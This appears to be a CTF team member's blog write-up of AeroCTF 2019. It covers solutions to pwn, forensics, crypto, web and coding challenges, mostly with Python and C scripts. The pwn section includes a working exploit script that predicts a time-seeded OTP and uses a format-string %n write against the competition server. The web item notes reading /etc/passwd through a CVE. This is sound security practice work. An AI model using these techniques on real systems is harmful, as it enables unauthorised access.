CTFするぞ

CTF以外のことも書くよ

AeroCTF 2019 Writeup

I played AeroCTF as a member of team insecure and got 3411 points, which is worth reaching to the 14th place. I solved several challenges, some of them with the help of my team mates, and enjoyed the CTF. Thank you to the admin for holding the CTF.

(I can't write detailed solution for some challenges as they were closed soon after the CTF had ended.)

[Pwn 374] navigation system

It's a 32-bit binary with SSP enabled.

$ checksec binary
[*] 'binary'
    Arch:       32 bits (little endian)
    NX:         NX enabled
    SSP:        SSP enabled (Canary found)
    RELRO:      Partial RELRO
    PIE:        PIE disabled

We can bypass the login with test_account/test_password and it asks an OTP code.

--------- Navigation System Monitor ---------
Please authorization on system
Login: test_account
Password: test_password
Enter the OTP code: 

The OTP code is generated in genOTPcode function:

srand(time(NULL) + username[0] + password[0]);
return rand();

We can predict the OTP code because time(NULL) returns the clock time in seconds. This is the program to generate an OTP code same as that of the server.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
  srand(time(NULL) + 't' + 't');
  printf("%d", rand());
  return 0;
}

After bypassing the login, we can enter the UserPanel. I found the vulnerability in setStation function which is called in UserPanel.

...
sub esp, 0Ch
lea eax, [ebp+station]
push eax
call _printf
...

We can get the flag by setting a global variable flag to 1 or more than 1. And our buffer station comes to the 7th position on the stack. So, the exploit to set the flag to a non-zero value is just like this:

printf("\x??\x??\x??\x??%7$n");

I could successfully get the flag by calling readLastReport after the exploit.

from ptrlib import *
import subprocess

elf = ELF("./binary")

def getOTP():
    t = subprocess.check_output(["./ctime"])
    return int(t)

sock = Socket("185.66.87.233", 5002)
sock.recvuntil("Login: ")
sock.sendline("test_account")
sock.recvuntil("Password: ")
sock.sendline("test_password")
otp = getOTP()
sock.recvuntil("code: ")
sock.sendline(str(otp))
sock.recvuntil("> ")
sock.sendline("2")
sock.recvuntil("> ")
sock.send(p32(elf.symbol("flag")) + b"%7$n")
sock.interactive()

[Warmup 100] pwn_warmup

I just sent a lot of A and got the flag :)

[Warmup 100] forensic_warmup

An unknown file is given.

$ file just_a_meme 
just_a_meme: data

Let's see the inside.

$ hexdump -C just_a_meme | less
00000000  5c 05 03 9d 2b 24 c5 35  23 e6 42 25 ee 43 1d f4  |\...+$.5#.B%.C..|
00000010  45 1d f7 3e 1c ff 3f 21  fd 40 1f fd 40 1f fd 40  |E..>..?!.@..@..@|
00000020  1f fd 40 21 fd 40 21 fd  40 21 fd 40 21 fd 3f 22  |..@!.@!.@!.@!.?"|
00000030  ff 40 1f ff 41 20 ff 42  21 ff 41 20 ff 40 1f fe  |.@..A .B!.A .@..|
00000040  3f 1e fe 3f 1e fe 3f 1e  ff 3d 1d ff 3e 1e ff 3f  |?..?..?..=..>..?|
00000050  1e ff 3f 1e ff 40 1f ff  40 1f ff 40 1f ff 41 20  |..?..@..@..@..A |
00000060  fd 40 1f fd 40 1f fd 41  1e fd 41 1e fd 41 1e fd  |.@..@..A..A..A..|
00000070  42 1c fd 42 1c fd 42 1c  fd 42 1c fd 42 1c fd 42  |B..B..B..B..B..B|
00000080  1c fd 41 1e fd 41 1e fd  41 1e fd 40 1f fd 40 1f  |..A..A..A..@..@.|

It has 3-byte blocks. The description says it contains some sort of image. So, I realized this is a sort of VRAM dump. I made a script to recover the image and got the flag in the image.

from PIL import Image

size = 360000
w = 800
h = size // w
img = Image.new('RGB', (w, h))

with open("just_a_meme", "rb") as f:
    buf = f.read()

x = 0
for i in range(0, len(buf), 3):
    r, g, b = buf[i:i+3]
    img.putpixel((x % w, h - x // w - 1), (r, g, b))
    x += 1

img.save("image.png")

[Code 150] damaged ticket

There are lots of images of 1px width. Every filename has a hash of a number so I sorted them by the number and concatenated them.

from ptrlib import *
import os
import hashlib
from PIL import Image

img = Image.new('RGB', (600, 267))

for x in range(600):
    path = hashlib.md5(str2bytes(str(x))).hexdigest() + ".png"
    if os.path.exists("parts/parts/" + path):
        target = Image.open("parts/parts/" + path)
        for y in range(img.size[1]):
            img.putpixel((x, y), target.getpixel((0, y)))

img.save("image.png")

The output image has the flag.

[Web 100] board tracking system

I did a search for the url /cgi-bin/stats and found this CVE. The flag was written in cat /etc/passwd.

[Warmup 100] crypto_warmup

We are given a file with a lot of words.

$ cat meme_or_not
kappa_pride pepe kappa 
look_at_this_dude kappa trollface 
look_at_this_dude kappa_pride look_at_this_dude 
look_at_this_dude kappa_pride trollface 
look_at_this_dude look_at_this_dude pepe
...

I replaced each words to some alphabets in order to make it human-readable.

a e c 
d c b 
d a d 
d a b 
d d e
...

Only 5 words are used and I found it's quinary. The first character may be A (of Aero{...}). The ascii code of A is 65, which is '230' in quinary. The second character will be e, whose ascii code is '401'. It seems each words correspond to digits respectively.

A --> a e c --> 2 3 0
e --> d c b --> 4 0 1

I wrote a script to decode the given text and got the flag.

result = ""
table = {
    'kappa_pride': '2',
    'pepe': '3',
    'kappa': '0',
    'look_at_this_dude': '4',
    'trollface': '1'
}
with open("meme_or_not", "r") as f:
    for line in f:
        cs = line.split()
        char = ''
        for c in cs:
            char += table[c]
        result += chr(int(char, 5))
print(result)

[Code 488] navigation records

There are lots of text data with hash appended for each file. I didn't understand what the hashes were for, but a team mate yoshiking found the hash was md5sum of the rest of the text. Based on this information I found dozens of files whose hash values are invalid. After several attempts, I realized the invalid hash was md5sum(text + 'an alphanumeric character'). So, I made a script to find the alphanumeric characters for each files with invalid hashes.

import glob
import hashlib
import re
import string

def reverse(h):
    for i in range(10000):
        if hashlib.md5(str2bytes(str(i))).hexdigest() == h:
            return i

def correct(h, contents):
    for c in string.ascii_letters + string.digits + "{}":
        tmp = contents + c
        if hashlib.md5(str2bytes(tmp)).hexdigest() == h:
            return c
    return '?'

badguy = []
for path in glob.glob("records/*.txt"):
    with open(path, "r") as f:
        contents = ""
        for line in f:
            if "Hash" not in line:
                contents += line
            else:
                h = re.findall("Hash: ([0-9a-f]+)", line)[0]
        if h != hashlib.md5(str2bytes(contents)).hexdigest():
            w = re.findall("report-([0-9a-f]+).txt", path)[0]
            c = correct(h, contents)
            badguy.append((reverse(w), c))

for item in sorted(badguy, key=lambda x:x[0]):
    print(item[1], end="")

Wow, guessing.

[Crypto 379] gocryptor

The encryption is a simple xor and the key is 16 bytes long. We can see many similar patterns in the encrypted binary.

$ hexdump -C example_drawing.enc | less
00000000  8d 6d c6 27 a3 f2 73 53  7e 02 5b 2a 86 6e 23 40  |.m.'..sS~.[*.n#@|
00000010  72 d5 39 c7 5c 03 39 99  72 3c 32 4d 87 6e 6e 6d  |r.9.\.9.r<2M.nnm|
00000020  72 9f 39 c7 a3 ea 39 10  36 56 5b 28 87 6e 23 21  |r.9...9.6V[(.n#!|
00000030  72 b4 39 c7 a2 f8 39 10  37 44 5b 2a 87 6e 23 6a  |r.9...9.7D[*.n#j|
00000040  73 ae 39 c2 a3 e2 39 14  37 44 5b 79 86 46 23 23  |s.9...9.7D[y.F##|
00000050  72 b5 39 c6 a3 e0 39 15  b0 2d 5b 2f 87 6e 23 21  |r.9...9..-[/.n#!|
00000060  72 b5 39 9d a3 e2 39 15  37 44 5b 4b 87 6e 23 21  |r.9...9.7D[K.n#!|
00000070  72 b5 39 a7 a3 e2 39 14  37 47 fb 2a 87 6d 23 20  |r.9...9.7G.*.m# |
00000080  72 b4 39 c6 a3 e2 99 17  37 40 5b 2b 87 6f 23 20  |r.9.....7@[+.o# |

They are perhaps xored with 0, which means the raw key. I collected the most frequent bytes for each column and restored the key.

def decrypt(data, key):
    result = b''
    for i in range(len(data)):
        result += bytes([data[i] ^ key[i % len(key)]])
    return result

with open("example_drawing.enc", "rb") as f:
    data = f.read()

key = b"\x72\xb5\x39\xc7\xa3\xe2\x39\x15\x37\x44\x5b\x2b\x87\x6e\x23\x20"
result = decrypt(data, key)

with open("sample", "wb") as f:
    f.write(result)

The output image has the flag in the right bottom. f:id:ptr-yudai:20190309214105p:plain

[Forensic 497] data container

The given file is obviously reversed.

00000000  00 00 00 03 03 60 00 00  03 04 00 0c 00 0c 00 00  |.....`..........|
00000010  00 00 06 05 4b 50 6c 6d  78 2e 70 70 61 2f 73 70  |....KPlmx.ppa/sp|
00000020  6f 72 50 63 6f 64 00 03  00 b9 00 00 00 00 00 00  |orPcod..........|
00000030  00 00 00 00 00 00 00 10  00 00 02 c8 00 00 01 71  |...............q|
00000040  7f 7c c8 90 00 21 00 00  00 08 00 06 00 14 00 2d  |.|...!.........-|
...

The corrected file is a word document, so I extracted it. I found an image in word/media/, which was just a black square image. I extracted a file appended right after the end marker of the png image.

$ hexdump -C curious | less
00000000  13 37 13 37 65 51 d1 b6  13 37 7f ae 02 00 13 37  |.7.7eQ...7.....7|
00000010  13 35 bd 3e 13 37 13 55  13 36 13 36 13 37 13 37  |.5.>.7.U.6.6.7.7|
00000020  15 32 58 67 12 e3 c7 62  66 f9 02 96 12 e3 c7 62  |.2Xg...bf......b|
00000030  a5 99 de bf 12 e3 c7 62  a5 99 b4 5b 13 2f 13 36  |.......b...[./.6|
...

The pattern 13 37 often appears in this file. I xored the whole file with the key \x13\x37 and the output file seemed to be reversed. I reversed the data and appended PK to make it a valid ZIP file.

with open("curious", "rb") as f:
    buf = f.read()

key = b"\x13\x37"
result = b''
for i in range(len(buf)):
    result += bytes([key[i % 2] ^ buf[i]])

with open("file", "wb") as f:
    f.write(b'PK' + result[::-1])

The zip file was protected with a password. I passed this file to a team mate theoldmoon0602 and he found the password. (Perhaps he used john to crack the password.) An image with the flag was in the archive.

[Pwn 488] engine script

I couldn't solve this one during the competition. Looking for a writeup :(

Solved it: writeup (in Japanese)